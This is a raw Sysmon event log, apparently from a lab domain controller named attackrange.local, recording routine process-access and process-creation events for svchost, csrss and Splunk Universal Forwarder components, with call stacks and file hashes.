09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2995-5F80-4101-000000007F01}4888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2995-5F80-4101-000000007F01}4888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005662Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.361{A5F018FF-2995-5F80-4101-000000007F01}4888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.751{A5F018FF-2996-5F80-4201-000000007F01}28083076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2996-5F80-4201-000000007F01}2808C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2996-5F80-4201-000000007F01}2808C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.610{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2996-5F80-4201-000000007F01}2808C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:54.611{A5F018FF-2996-5F80-4201-000000007F01}2808C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2997-5F80-4401-000000007F01}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:55.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DL